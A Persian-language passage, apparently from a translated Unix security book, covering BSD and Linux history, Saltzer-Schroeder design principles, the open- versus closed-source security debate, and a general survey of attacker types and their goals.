در سال ۱۹۸۸ *گروه تحقیقات سیستمهای رایانه‌ای برکلی* (CSRG)[23] طرحی را برای حذف همهٔ برنامه‌های AT&T از سیستم‌عامل خود شروع کرد. "محصول شبکه‌سازی نگارش اول" که برای اولین بار در ژوئن ۱۹۸۹ آماده شده بود شامل پیاده‌سازی برکلی از TCP/IP و تسهیلات مربوطه می‌شد. این محصول به بهای ۱۰۰۰ دلار روی نوار ضبط توزیع شد، و هر کس که آن را خریداری می‌کرد مجاز بود هر تغییری که می‌خواست روی برنامه آن انجام دهد، مشروط بر آنکه محدودیت حق انتشار اصلی محفوظ بماند. چند برنامهٔ بزرگ برنامه *FTP ناشناس*[24] را پیاده‌سازی کردند؛ و برنامهٔ برکلی بسرعت تبدیل به مبنای بسیاری از پیاده‌سازی‌های TCP/IP در سراسر صنعت شد. یک محصول موقت موسوم به 4.3BSD Reno در اوایل سال ۱۹۹۰ و محصول موقت دوم، "محصول شبکه‌سازی نگارش دوم"، در ژوئن ۱۹۹۱ بوجود آمد. این محصول، یک سیستم‌عامل کامل بود مگر برای ۶ فایل

19 *GNU General Public License*
20 *Free Software Foundation*
21 *Andrew S. Tanenbaum*
22 *Linus Torvalds*
23 *Berkeley Computer Systems Research Group*
24 *FTP Anonymous Connection*

باقیمانده در هستهٔ اصلی که شامل برنامه‌های AT&T می‌شدند و لذا در سیستم‌عامل قرار داده نشده بود. در پائیز ۱۹۹۱ *بیل جولتیز*[۲۵] این فایلها را برای پردازشگر اینتل نوشت و یک سیستم‌عامل عملیاتی به نام 360/BSD پدید آورد.

ظرف چند ماه گروهی از داوطلبان موظف شدند برای نگهداری و توسعهٔ سیستم تشکیل‌شده کار کنند و این تلاش آنان NetBSD نامگذاری شد. طرح NetBSD بسرعت از هم پاشید. بعضی از اعضا معتقد بودند که هدف اولیهٔ پروژه باید آنقدر گسترش یابد که بتواند تا جایی که ممکن است بسترهای متفاوتی را پشتیبانی کند و به انجام تحقیقات در زمینهٔ سیستم‌عامل ادامه دهد، ولی اعتقاد گروه دیگری از توسعه‌دهندگان این بود که آنها باید منابع خود را تا آنجا که ممکن است به بهتر اجرا شدن برنامه‌ها روی بستر Intel/386 و ساده‌تر شدن استفاده از سیستم اختصاص دهند. گروه دوم از گروه اول جدا شد و پروژهٔ FreeBSD را شروع کرد. چند سال بعد، یک گروه انشعابی دیگر از پروژه NetBSD جدا شد. این گروه بر این باور بود که امنیت و قابلیت اعتماد مورد توجه لازم قرار نگرفته‌اند. تأکید این گروه روی بررسی دقیق متن برنامه برای شناسائی مشکلات بالقوه بود. آنها اقتباس از برنامه‌های جدید و driverها تا زمانیکه که از نظر کیفیت کاملاً بررسی نشده‌بودند را محدود کردند. این گروه سوم OpenBSD نام گرفت.

مشاغل Unix را برگزیدند

به دلیل قیمتگذاری انحصاری Microsoft و امنیت و ظرافت سیستم‌عاملهای Unix، بسیاری از مشاغل به استفاده از محصولات تجاری مبتنی بر Linux علاقه‌مند شدند. تعدادی از فروشندگان لوازم شبکه، پایداری و امنیت بستر OpenBSD را مطلوب یافتند و آنرا برای طرحهای خود بکار بردند. پایداری و پشتیبانی پیشنهادی BSDI برای سایر کاربران تجاری بویژه بعضی شرکتهای اصلی میزبان وب اولیه جذاب بود و آنرا BSD/OS نامیدند. همچنین دانشگاههای مختلف BSD/OS را به لحاظ شرایط مناسب گواهینامه‌ای و نیز پشتیبانی برای دانشجویان و دانشکده انتخاب کردند.

در همین اثنا در میان افرادی که برای کامپیوترهای شخصی خود به دنبال سیستم‌عامل جایگزین بودند Linux بسیار متداول شد. گرچه OpenBSD یک سیستم‌عامل نسبتاً ایمن‌تر و پایدارتر بود، اما Linux از سخت‌افزارهای بسیار متنوع‌تری پشتیبانی می‌کرد و همچنین مراحل نصب و کارکردن با آن تا حدودی آسانتر بود.

تأثیرات کلیدی دیگر در نیمهٔ دوم دههٔ ۱۹۹۰ زمانی اتفاق افتاد که محققان در آزمایشگاههای ملی مختلف، در دانشگاهها و همچنین در NASA کار با رایانه‌های خوشه‌بندی‌شده را شروع کردند. در رایانه‌های خوشه‌بندی‌شده صدها رایانهٔ شخصی تهیه می‌شوند، در قفسه‌ها قرار می‌گیرند، و به شبکه‌های با سرعت بالا متصل می‌گردند. در این سیستمها مسائل بزرگ بجای اجرای خیلی سریع روی یک رایانه، به چند قسمت قابل مدیریت تقسیم می‌شوند و بصورت موازی روی رایانه‌های کنار هم تحلیل می‌گردند. این روش اگرچه برای همهٔ مسائل قابل کاربرد نبود، اما غالباً بهتر از استفاده از ابررایانه‌های منفرد جواب می‌داد و علاوه بر آن هزینهٔ بسیار کمتری صرف آن می‌شد. یکی از اولین سیستمهای عملیاتی که از این نوع بود و Beowulf نام داشت، مبتنی بر Linux بود. به دلیل به اشتراک گذاشته‌شدن این برنامه و توسعهٔ همه‌جانبه آن توسط جامعهٔ ابررایانه‌ای، Linux به سرعت میان سایر گروههای سراسر جهان که مایل بودند کاری مشابه انجام دهند پخش شد.

همهٔ این علایق زمانیکه با مشکلات فزاینده بازار انحصاری سیستم‌عامل Microsoft در هم آمیخت، توجه دو شرکت IBM و Dell که هر دو از Linux اعلام حمایت تجاری کرده بودند را جلب کرد. در همین ایام دو شرکتی که تنها به سیستم‌عامل Linux می‌پرداختند – Redhat و Linux VA – دو فقره از موفق‌ترین پیشنهادات اولیهٔ مردمی در تاریخ بورس سهام ایالت متحده را نصیب خود کردند. مدت کوتاهی پس از آن HP اعلام کرد یک نسخه از Linux را در سیستمهایش پشتیبانی می‌کند.

25 *Bill Jolitz*

امروزه بسیاری از مشاغل و آزمایشگاههای تحقیقاتی با Linux کار می‌کنند. آنها از Linux برای اجرای سرویس‌دهنده‌های وب، سرویس‌دهنده‌های پست الکترونیکی، و در وسعت کمتر بعنوان یک بستر عمومی رایانه‌های رومیزی استفاده می‌نمایند. مشاغل بجای خرید ابررایانه‌ها، خوشه‌های بزرگ Linux را – که می‌توانند مسائل رایانه‌ای بزرگ را از طریق اجرای موازی حل کنند – پدید می‌آورند. به طور مشابه FreeBSD، NetBSD، و OpenBSD بخوبی مناسب این کاربردها هستند و به میزان وسیع استفاده می‌شوند. با اینحال براساس شواهد غیر رسمی بنظر می‌رسد Linux نسبت به هر سیستم دیگر، رشد کاربران بیشتری داشته باشد. طبق پشتیبانی اعلام‌شدهٔ تجاری از جمله ریسکهای اعلام‌شده توسط شرکت Sun Microsystems، بنظر می‌رسد Linux موازنهٔ رشد بهتری در بازار داشته باشد. با اینحال، حداقل به دلیل مسائل مربوط به امنیت و کارایی، ما از گونه‌های دیگر BSDها انتظار محو شدن نداریم؛ زیرا علیرغم اینکه گروه‌های BSDها به حیات جداگانهٔ خود ادامه می‌دهند، بنظر نمی‌رسد که از سهم بازار Linux بهره‌ای بگیرند.

نسخه‌های متعددی از سیستم‌عامل Linux و BSD وجود دارد که تنها با یک فلاپی سیستم را راه‌اندازی می‌کنند. این نسخه‌ها که شامل Trinix، picoBSD و closedBSD هستند برای کاربردهایی طراحی شده‌اند که در آنها امنیت زیاد لازم است، از جمله کاربردهای قانونی، ترمیم، و لوازم شبکه.

امنیت و Unix

همانند سیستمهایی که اساس آنها بر پایهٔ Microsoft Windows NT است، Unix یک سیستم‌عامل *چندکاربره*[۲۶] و *چندوظیفه‌ای*[۲۷] است. منظور از چندکاربره این است که سیستم‌عامل اجازه می‌دهد در یک زمان افراد متفاوت از رایانه استفاده کنند. چندوظیفه‌ای نیز به این معنی است که هر کاربر می‌تواند برنامه‌های مختلفی را بصورت همزمان به اجرا درآورد. یکی از قابلیتهای طبیعی چنین سیستم‌عاملی این است که از تداخل کار چند نفر (یا چند برنامه) مختلف که از یک سیستم بطور همزمان استفاده می‌کنند جلوگیری کند. بدون وجود چنین حفاظتی یک برنامه خودسر ممکن است سایر برنامه‌ها یا کاربران را تحت تأثیر قرار دهد، ممکن است فایلها را بطور تصادفی پاک کند، یا ممکن است کل کار سیستم رایانه را مختل نماید. برای جلوگیری از وقوع چنین سوانحی، نوعی امنیت رایانه‌ای همواره در فلسفه طراحی Unix جایی داشته است.

امنیت Unix تسهیلاتی بیش از حفاظت صرف از حافظه فراهم می‌کند. Unix دارای یک سیستم امنیتی مجهز است که راههایی که کاربران به فایلها دسترسی پیدا می‌کنند، پایگاه داده‌های سیستم را تغییر می‌دهند، و از منابع سیستم استفاده می‌کنند را کنترل می‌کند. متأسفانه زمانیکه سیستم درست پیکربندی نشده باشد، بدون دقت استفاده شود، یا نرم‌افزاری که دارای اشکال است داشته باشد، این مکانیزمها کمک چندانی نمی‌کنند. تقریباً تمام حفره‌های امنیتی که طی سالهای متمادی در Unix پیدا شده‌اند ریشه در اینگونه مسائل داشته‌اند تا نارسایی‌های طراحی درونی سیستم. بنابراین تقریباً همهٔ فروشندگان Unix معتقدند که می‌توانند یک سیستم‌عامل نسبتاً مطمئن را ارائه دهند. ما معتقدیم که سیستمهای Unix می‌توانند از سیستم‌عاملهای دیگر بسیار ایمن‌تر باشند، اما با اینحال مسائلی هستند که علیه امنیت بیشتر در این محیط تأثیرگذاری می‌کنند.

انتظارات و امیدواریها

بسیاری از کاربران اینطور بار آمده‌اند که Unix را با پیکربندی خاصی ببینند. تجربهٔ آنها از Unix در کارهای علمی، سرگرمی، و تحقیقاتی، همیشه اینطور بوده است که در سیستم به همهٔ شاخه‌ها و اغلب فرامین دسترسی داشته‌اند. کاربران شاید عادت کرده باشند که فایلهایشان در حالت پیش‌فرض برای عموم قابل خواندن باشند. کاربران همچنین غالباً عادت کرده‌اند که بتوانند نرم‌افزار مورد نظر خودشان را بسازند و نصب کنند؛ کاری که معمولاً دسترسی سطح سیستمی (بالاترین سطح دسترسی) برای انجام آن لازم است.

---

26 *Multi User*
27 *Multitask*

متأسفانه همهٔ این انتظارات خلاف یک منش خوب امنیتی است. برای اینکه امنیت قوی‌تر داشته باشیم لازم است مدیران و راهبران سیستمها گهگاه امتیازات دسترسی به فایلها و فرامینی که چندان مورد نیاز کاربران در انجام وظایفشان نیستند را محدود کنند. بر این اساس کسی که برای انجام کارش به پست الکترونیکی و پردازشگر متنی نیاز دارد لازم نیست انتظار داشته باشد که بتواند برنامه‌های تحلیلگر شبکه و کامپایلر C را اجرا کند. به همین ترتیب برای افزایش امنیت، کاربران نباید بتوانند نرم‌افزاری که آزمایش نشده و توسط یک فرد دوره‌دیده و مجاز تأیید نشده را نصب کنند.

راهبران می‌توانند با کاربرد برخی از اصول کلی امنیت در حد معقول، ضریب امنیت را بالا ببرند. برای نمونه بجای حذف همهٔ کامپایلرها و کتابخانه‌ها از هر دستگاه، این ابزارها می‌توانند بگونه‌ای محافظت شوند که فقط کاربران عضو در یک گروه کاربری خاص بتوانند به آنها دسترسی داشته باشند. کاربرانی که نیازمند اینگونه دسترسی هستند و کسانی که می‌توان به آنها اعتماد کرد که دقتهای لازم را اعمال کنند، می‌توانند به این گروه کاربری افزوده شوند. روشهای مشابهی را می‌توان برای سایر رده‌های ابزار نیز استفاده نمود، مانند نرم‌افزار کنترل شبکه یا برنامه‌های اخبار Usenet. علاوه بر آن تغییر دیدگاه سنتی به "داده" در یک سیستم (از قابل خواندن بودن در حالت پیش‌فرض به غیر قابل خواندن بودن در حالت پیش‌فرض) می‌تواند مفید باشد. برای مثال فایلها و شاخه‌های کاربران بجای قابل خواندن بودن برای همه، در حالت پیش‌فرض باید در مقابل دسترسی خواندن محافظت شوند. تنظیم صحیح کنترلهای دسترسی به فایلها، و استفاده از *فایلهای سایه‌ای رمزهای عبور*[۲۸] دو مثال هستند که نشان می‌دهند چگونه این تغییر ساده در پیکربندی سیستم می‌تواند امنیت را در تمام Unix بهبود بخشد.

حیاتی‌ترین وجه افزایش امنیت Unix وادار کردن کاربران به مشارکت در برآورده شدن انتظارات است. بدیهی است اگر کاربران به سیستم‌عاملهای شخصی قبل از Microsoft Windwos NT عادت کرده باشند این توصیه در مورد افزایش امنیت سیستمهای مبتنی بر NT نیز صدق می‌کند. راه رسیدن به این هدف صدور بخشنامه نیست، بلکه تحصیلات، آگاهی، و ایجاد انگیزه است. معیارهای فنی امنیت بسیار مهم هستند، ولی تجربه کراراً نشان داده که مشکلات فردی با راه‌حلهای مبتنی بر فناوری قابل حل نیستند. بسیاری از کاربران استفاده از رایانه‌ها را در محیطی شروع کردند که نسبت به آنچه امروزه با آن مواجه هستند کمتر تهدیدکننده بود. با آموزش کاربران در مورد خطرات موجود و اینکه همکاری آنان چقدر می‌تواند به خنثی‌سازی خطرات کمک کند، امنیت سیستم افزایش می‌یابد. با ایجاد انگیزهٔ صحیح در کاربران برای مشارکت در تجارب موفق امنیتی، آنها را بخشی از مکانیزم امنیتی می‌کنید. آموزش و انگیزش بهتر تنها زمانی خوب نتیجه می‌دهند که با هم اعمال شوند. آموزش بدون انگیزش می‌تواند به آن مفهوم باشد که معیارهای امنیتی در عمل اعمال نشده‌اند و انگیزش بدون آموزش هم می‌تواند به این معنی باشد که در کارهای به انجام رسیده، شکاف ایجاد شده است.

28 Shadow Password Files

فصل دوم
امنیت برای راهبران

کلیات

این فصل یک تعریف عملی از امنیت برای مدیران اجرایی ارائه و در مورد طراحی سیستمهای ایمن بحث می‌کند، و توضیح می‌دهد که چه کسی به سیستمهای رایانه‌ای حمله می‌نماید. برخی از ابزارهای متداول مهاجمین را بر می‌شمارد و مطالعهٔ موردی یک نمونه حمله را شرح می‌دهد.

امنیت و راهبران

بعنوان یک راهبر فنی، شما مسئولیت دارید اطمینان دهید که سیستمهایی که مدیریت می‌کنید همانطور کار می‌کنند که باید کار کنند. با اینکه تعاریف رسمی زیادی برای امنیت وجود دارد، یک تعریف عملی مفید برای راهبران عبارت است از اینکه: "یک کامپیوتر درصورتی ایمن است که بتوان به آن و نرم‌افزارش اعتماد کرد که آنطور رفتار کنند که انتظار آن می‌رود".

اگر اطلاعاتی که امروز وارد رایانه کرده‌اید تا چند هفته در آن بماند و برای کسانی که نباید آن را بخوانند همچنان ناخوانده بماند، آنگاه رایانه ایمن است. در اینصورت امنیت یک وظیفهٔ حساس در هریک از نقشهای یک راهبر است. با این تعریف، فاجعه‌های طبیعی و نرم‌افزارهای اشکال‌دار به اندازهٔ کاربران غیرمجاز برای امنیت تهدید به حساب می‌آیند.

برنامه‌ای که ضعیف نوشته شده

طراحی سیستمها و نرم‌افزارهای رایانه‌ای ایمن آسان نیست. در سال ۱۹۷۵، *جروم سالزر*[۲۹] و *ام. دی. شرودر*[۳۰]، هفت معیار برای بنای چنین سیستمی تعریف کردند. این معیارها عبارتند از:

دسترسیهای حداقلی

هر کاربر و فرآیندی باید از حداقل دسترسیهای لازم برخوردار باشد. دسترسی حداقلی خساراتی که می‌تواند توسط مهاجمین بدخواه و بطور مشابه توسط خطاها صورت پذیرد را محدود می‌کند. دسترسیها بجای آنکه بطور پیش‌فرض به کاربران اختصاص داده شوند، باید صراحتاً برای فعالیت کاربران لازم باشند تا به آنها اختصاص یابند.

مکانیزم اقتصادی

طراحی سیستم باید کوچک و ساده باشد تا بتوان آنرا بررسی و بطور صحیح پیاده‌سازی کرد.

میانجیگری کامل

هر دسترسی باید برای داشتن مجوز صحیح کنترل شود.

29 *Jerome Saltzer*
30 *M. D. Schroder*

طراحی باز

ایمنی نباید بر اساس جهل مهاجم ایجاد شده باشد. این ضابطه از وجود *درب مخفی*[۳۱] سیستم که به کاربرانی که آنرا می‌شناسند امکان دسترسی می‌دهد جلوگیری می‌کند.

جداسازی دسترسیها

هرجا که امکانپذیر باشد، دسترسی به منابع سیستم باید به برآورده شدن بیش از یک شرط بستگی داشته باشد.

حداقل مکانیزم مشترک

کاربران باید توسط سیستم از یکدیگر جدا شوند. اینکار، هم کنترل مخفیانه و هم تلاشهای مشترک برای غلبه بر مکانیزمهای امنیت سیستم را محدود می‌کند.

پذیرش روانی

کنترلهای امنیتی باید در کاربرد آسان باشند تا در عمل از آنها استفاده شود و کنار گذاشته نشوند.

متأسفانه طراحان هیچگاه این معیارها را یاد نمی‌گیرند، اگر هم یاد بگیرند آنها را از یاد می‌برند، از راههای میانبر استفاده می‌کنند، یا به این نتیجه می‌رسند که این مسائل آنقدر اهمیت ندارند که خود را درگیر آن نمایند. درنتیجه سیستم‌عاملها، الگوریتمها، برنامه‌های کاربردی و نرم‌افزارهای فراوانی وجود دارند که طراحی ناقص دارند ولی در سطح وسیعی مورد استفاده قرار می‌گیرند و مدعی هستند که بخشی از زیربنای امنیت در سیستم هستند. طراحی نامناسب منجر به بروز مشکلات و آثار جانبی پیش‌بینی‌نشده می‌شود که ممکن است موجب خرابیهای تصادفی در سیستمها یا اطلاعات شود و یا عامدانه توسط یک مهاجم مورد سوء استفاده قرار بگیرد.

نرم‌افزار آزاد در مقابل نرم‌افزار اختصاصی

یکی از مباحث بحث برانگیزتر در طراحی نرم‌افزار این است که آیا فرایندهای توسعه‌ای که آزادانه متن برنامه را برای بررسی، تغییر، و توزیع مجدد ("نرم‌افزار آزاد" یا "متن‌باز") بصورت آزاد در دسترس قرار می‌دهند، باید به دلیل مسائل امنیتی بر نرم‌افزارهای اختصاصی ("متن‌بسته") ترجیح داده شوند یا نه.

از یک طرف اگر متن برنامه بصورت آزاد در دسترس باشد کار مهاجمین را در پیدا کردن اشکالات قابل سوء استفاده در برنامه با خواندن متن برنامه راحت‌تر می‌کند. چون طبقات متداول فراوانی از خطاهای برنامه‌ای وجود دارد که منجر به آسیب‌پذیریها می‌شود، حتی گاهی اوقات متن برنامه را می‌توان به برنامه‌های تحلیل خودکار سپرد تا مشکلات را آشکار کنند. مشکلات نرم‌افزارهای متن‌باز عمدتاً پیدا شده‌اند و مورد سوء استفاده قرار گرفته‌اند.

از طرف دیگر نرم‌افزار متن‌بسته علاج درد نیست. در بسیاری از موارد نرم‌افزارها را می‌توان "مهندسی معکوس" نمود یا آسیب‌پذیریها می‌توانند از طریق *ارزیابی جعبه سیاه*[۳۲] برنامه بدون اینکه متن برنامه در دسترس باشد تشخیص داده شوند. بدیهی است عدم دسترسی به متن مثلاً برنامهٔ *سرویس‌دهندهٔ اطلاعات اینترنتی مایکروسافت* (IIS)[۳۳] نتوانسته از سوء استفاده مهاجمین از آسیب‌پذیریهای مختلف آن جلوگیری کند و بنظر می‌رسد این محصول تعداد بیشتری سوء استفاده گزارش شده نسبت به مثلاً سرویس‌دهنده وب *آپاچی*[۳۴] – که متن آن در اختیار عموم است – داشته باشد.

در برنامهٔ متن‌باز، تولیدکنندگان و کاربران برنامه می‌توانند مشکلات و راه‌حل آنها را قبل از مهاجمین پیدا کنند و پیش از هر سوء استفاده‌ای آنها را منتشر سازند. سیستم‌عامل OpenBSD که یک نرم‌افزار آزاد است، در سطح وسیعی بعنوان یکی از

31 *Backdoor*
32 *Blackbox Testing*
33 *Microsoft Internet Information Server*
34 *Apache Web Server*

ایمن‌ترین سیستم‌عاملهای موجود حالِ حاضر شناخته شده است، عمدتاً به دلیل اینکه هر خط از متن برنامهٔ *هستهٔ اصلی*[۳۵]، توسط تولیدکنندگانش از نظر امنیتی نیز ممیزی شده است. هسته‌های اصلی سیستم‌عاملهای متن‌باز دیگر – از جمله Linux – به این شدت بازبینی نمی‌شوند و حاوی قطعه‌برنامه‌هایی از تعداد زیادی از توسعه‌دهندگان هستند. مشکل می‌توان درجه بازبینی امنیتی سیستم‌عاملهای اختصاصی Unix از قبیل *Solaris* را دانست.

شناختن مهاجم

چه کسی به رایانه‌های یک شبکه با خبره‌ترین انواع حملات نفوذ می‌کند؟ این مسئله تقریباً اهمیتی ندارد؛ یعنی مهم نیست مهاجمین ممکن است چه کسانی باشند، بلکه در مقابل همهٔ آنها باید از سیستم محافظت کرد.

Script Kiddieها

همانگونه که از نام آنها پیداست، در بسیاری از موارد مهاجمین کودکان و نوجوانان هستند؛ کسانی که متأسفانه هنوز به حس مسئولیت و تشخیص کافی برای کنترل مهارتهای تکنیکی خود نرسیده‌اند.

به جوانانی که از ابزارهای خبرهٔ تهاجم استفاده می‌کنند Script Kiddie (فسقلی‌های قطعه‌برنامه) می‌گویند. این عبارت تمسخرآمیز است. واژهٔ "قطعه‌برنامه" به این مسئله اشاره دارد که این مهاجمین بجای اینکه حملات خود را پدید آورند از قطعه‌برنامه‌های تهاجمی آماده که می‌تواند از اینترنت download شود استفاده می‌کنند. این مهاجمین از آن جهت "فسقلی" نامیده می‌شوند که سن بسیاری از آنها هنگام دستگیری زیر سن قانونی بوده است.

فسقلی‌های قطعه‌برنامه باید بعنوان یک تهدید و خطر جدی به حساب آیند، به همان دلیل که از نوجوانی که اسلحه دارد باید ترسید. در بسیاری از موارد از نوجوانانی که اسلحهٔ سبک حمل می‌کنند باید حتی بیش از بزرگسالان ترسید، چرا که یک نوجوان وقتی می‌خواهد ماشه را بکشد کمتر احتمال دارد پیامدهای عمل خود را بفهمد و لذا احتمال بیشتری دارد که ماشه را بکشد.

این مسئله برای فسقلی‌های قطعه‌برنامه هم صدق می‌کند. برای مثال در سال ۲۰۰۱ پایگاه وب *مؤسسه تحقیقاتی گیبسون*[۳۶] هدف یک *تهاجم توزیع‌شده خرابی سرویس* (DDoS)[۳۷] قرار گرفت که آنرا بیش از ۱۷ ساعت از کار انداخت. تهاجم از طریق بیش از ۴۰۰ رایانه مبتنی بر Windows روی اینترنت به اجرا رسید که برای انجام یک حملهٔ خودکار مورد سوء استفاده قرار گرفته بودند. وقتی مسئله روشن شد، *استیو گیبسون*[۳۸] توانست یک نسخه از برنامهٔ حمله را بدست آورد، و سپس آنرا مهندسی معکوس و ردیابی کند. در نهایت مشخص شد که فرد مهاجم به پایگاه وب او یک دختر ۱۳ ساله بوده است.

در مورد مشابه دیگری وقتی مقامات مسئول کانادا در نوزدهم آوریل سال ۲۰۰۰ "Mafiaboy" را به خاطر حملات ماه فوریه سال ۲۰۰۰ او به Yahoo، E*TRADE، CNN، و بسیاری دیگر از پایگاههای پر از پرورنده‌های شخصی که موجب ۱/۷ میلیارد دلار خسارت شده بود بازداشت کردند، نتوانستند نام متهم را برای مردم منتشر کنند؛ چرا که پسربچهٔ ۱۶ ساله، تحت حمایت قانون حفاظت از زندگی شخصی خردسالان کانادا قرار داشت.

فسقلی‌های قطعه‌برنامه ممکن است مهارت فنی لازم برای نوشتن قطعه‌برنامه و اسبهای تراوای مخصوص خود را نداشته باشند، ولی این مسئله برایشان مشکل زیادی ایجاد نمی‌کند. آنها ابزار در اختیار دارند و مایلند از ابزارهای خود استفاده کنند؛ یا نمی‌فهمند موجب چه خساراتی می‌شوند و یا برایشان اهمیتی ندارد.

35 *Kernel*
36 *Gibson Research Corporation*
37 *Distributed Denial of Service Attack*
38 *Steve Gibson*

یک فسقلی قطعه‌برنامه وقتی بزرگ شد چکاره خواهد شد؟ هیچکس هنوز مطمئن نیست؛ هیچ بررسی موثقی وجود ندارد. گزارشهای غیر رسمی می‌گوید بسیاری از فسقلی‌های قطعه‌برنامه به راه راست هدایت می‌شوند. بعضی از آنها علاقه به رایانه را از دست می‌دهند، بعضی متصدی سیستم یا راهبر شبکه می‌شوند، و حتی بعضی از آنها به حوزهٔ امنیت رایانه بازمی‌گردند (استخدام چنین افرادی برای نظارت بر شبکه، در مجامع امنیت رایانه‌ای هنوز موضوعی مورد مناقشه است)، ولی ناگفته پیداست که برخی از این افراد به زندگی تبهکارانهٔ خود ادامه می‌دهند.

جاسوسهای صنعتی

به نظر می‌رسد که بازار سیاه درحال رشدی برای اطلاعات سرقت‌شده از سیستمهای رایانه‌ای وجود دارد. بعضی افراد کوشش کرده‌اند از صاحبان قانونی اطلاعات باجگیری و اخاذی کنند. مثلاً پیشنهاد رفع آسیب‌پذیریهای یک شرکت در قبال دریافت مبالغ هنگفت را داده‌اند. چندین مورد مستند (و احتمالاً موارد متعدد گزارش نشده) وجود داشته است که در آنها مجرمان، شمارهٔ کارتهای اعتباری مشتریان را از سرویس‌دهندهٔ یک شرکت دزدیده و تهدید کرده‌اند که اطلاعات را منتشر خواهند کرد مگر اینکه شرکت بهایی به آنها بپردازد. همچنین گزارشهایی وجود دارد مبنی بر اینکه مهاجمینی سعی کرده‌اند اسرار صنعتی شرکتهایی که مورد نفوذ قرار داده‌اند را به رقبایشان بفروشند. این معاملات در ایالات متحده و بسیاری از کشورهای دیگر – و البته نه همه کشورها – غیرقانونی اعلام شده است.

ایده‌پردازان و عوامل حکومتی

همیشه و در همهٔ جوامع جمعیتی از "متفکران مخالف" وجود دارد که بدلایل فکری یا سیاسی به سایتها نفوذ می‌کنند. معمولاً نیت این افراد "تغییر ظاهر صفحات وب" برای نوعی انتشار بیانیه است. گاهی مخالفین یک بیانیه سیاسی منتشر می‌کنند، گاهی ممکن است یک مسئله فکری را ابراز کنند، یا ممکن است صرفاً آشوب‌طلبانی باشند که علیه صنعت یا بازار جنجال به راه می‌اندازند.

این وقایع گاهی ممکن است برخلاف علایق ملی انجام شود. برای مثال ممکن است یک جنبش چریکی ظاهر سایتهای متعلق به یک دسته از مخالفان دولتی را تغییر دهد. در سایر موارد افرادی مشاهده می‌شوند که تلاش می‌کنند با حمله به سایتها در یک حوزهٔ حکومتی، هدفی را در یک حوزه دیگر برآورده کنند؛ مانند درگیریهای اسرائیل و فلسطین، جدال میان هند و پاکستان، و پس از آن بمباران سفارت چین توسط نیروهای ایالات متحده. بسیاری از این تهاجمات ممکن است خودجوش باشند، بعضی هم ممکن است توسط خود حکومتها برنامه‌ریزی و حمایت مالی شوند.

این وقایع می‌توانند اشخاص ثالث را نیز تحت تأثیر قرار دهند. برای مثال در خلال یک نفوذ در چین، بسیاری از ISPهایی که صفحات وب هواداران Falun Gong را در اطراف جهان میزبانی می‌کردند متوجه شدند که سرویس‌دهندگانشان تحت تهاجم سایتهایی از داخل چین قرار دارند. به دلیل هماهنگی و تعدد حملات، مقامات مسئول معتقدند که این حملات با پشتیبانی دولت بوده است.

جرم سازمان‌یافته

روزانه مقادیر هنگفتی از اطلاعات با ارزش و داده‌های مالی در اینترنت درحال تبادل است. خوش‌باورانه است که تصور شود عناصر تبهکار از این مسئله خبر ندارند، یا علاقه‌مند نیستند فعالیتهای خود را به جهان شبکه‌شده گسترش دهند. حمله‌هایی از قبیل کلاهبرداری، دزدی اطلاعات، و پولشوئی که بصورت online هدایت شده رخ داده است که مقامات مسئول معتقدند همگی در زمرهٔ جرائم سازمانیافته هستند. ارتباطات روی شبکه برای گسترش و هماهنگی خودفروشی‌ها و فحشا، قمار، سوداگری با مواد غیرقانونی، هجوم مسلحانه، و سایر فعالیتهایی که معمولاً مشمول جرائم سازمانیافته می‌شود، مورد استفاده قرار گرفته است. علاوه بر آن دوایر اجرای قوانین ممکن است توسط مجرمین برای کشف آنچه دولت در رابطه با آنها می‌داند یا کشف مشخصات خبر رسانان و شهود، مورد هدف قرار گیرند.

با جهانی شدن شبکه، تهدیدات گسترهٔ بیشتری پیدا کرده‌اند. امروزه دیگر باند دزدان روسی، مافیائی‌های سیسیل، یاکوزای ژاپن، تجار مواد مخدر در آمریکای جنوبی، و گروه اراذل و اوباش لس آنجلس، همه و همه روی شبکهٔ جهانی تنها چند کلیک ماوس از ما فاصله دارند. بسیاری از مقامات دایره اجرای قوانین از اینکه اینترنت در دهه آینده محل رشد جرائم است نگرانند.

کارمندان کلاش

و بالاخره، تعداد زیادی کارکنان بامهارت وجود دارند که برای انتقام، کینه‌توزی، یا اذیت و آزار، علیه کارفرمایان خود اقدام کرده‌اند. در بعضی موارد، کارکنان اخراج شده در رایانهٔ کارفرمایشان اسبهای تراوا جا داده‌اند.

مهاجمان بدنبال چه چیزی هستند

صرف بدست گرفتن کنترل یک سیستم رایانه‌ای معمولاً پایان کار یک نفوذگر نیست، بلکه اغلب مهاجمین از سیستمهایی که تحت فرمان خود در آورده‌اند بعنوان گام نخست حملات و خرابکاری‌های بعدی استفاده می‌کنند. پس از آنکه مهاجم یک سیستم را تحت فرمان خود در می‌آورد، سیستم می‌تواند برای اهداف شرارت‌بار مختلفی مورد استفاده قرار گیرد. از آن جمله‌اند:

- شروع کاوشها یا سوء استفاده‌ها علیه سیستمهای دیگر؛
- شرکت دادن سیستم در حملات توزیع‌شده تخریب سرویس؛
- اجرای سرویس‌دهنده‌های مخفی (مثلاً مهاجم ممکن است یک سرویس‌دهنده پیام ارتباط اینترنتی[39] راه‌اندازی کند که بعنوان وعده‌گاهی برای اسبهای تراوا و ویروسهایی که داده‌های دستبرد زده شده را پس می‌فرستند عمل کند)؛
- کنترل مخفیانهٔ شبکهٔ سازمانی که مالک سیستمهای به تسخیر درآمده است، با هدف به تسخیر درآوردن سیستمهای بیشتر؛ و
- تبدیل کردن آن به انباره‌ای از ابزارهای تهاجم، نرم‌افزارهای مسروقه، فحشا، یا انواع دیگر اطلاعات قاچاق.

برای اینکه سیستمهای به تسخیر درآمده تبدیل به بسترهای عالی برای اینگونه فعالیتهای غیرقانونی شود دلایل زیادی وجود دارد. اگر یک سیستم به تسخیر درآمده با سرعت بالا به اینترنت وصل باشد ممکن است بتواند خرابی و اختلال بیشتری نسبت به سایر سیستمهای تحت کنترل مهاجم باعث شود. سیستمهای به تسخیر درآمده همچنین می‌توانند برای دشوارتر کردن کار مسئولین در ردیابی کارهای مهاجم تا رسیدن به مهاجم واقعی مورد استفاده قرار گیرند. اگر یک مهاجم در میان رایانه‌های زیادی در حوزه‌های مختلفی بجهد – مثلاً، از یک حساب کاربری تحت Unix در فرانسه تا یک سرویس‌دهندهٔ proxy مبتنی بر windows در کره جنوبی، و از یک مرکز رایانهٔ دانشگاهی در مکزیک تا یک *مسیریاب شاهراه*[40] در نیویورک – ممکن است واقعاً ردیابی معکوس مهاجم به سمت مبدأ غیر ممکن شود.

ابزارهای تجارت مهاجمین

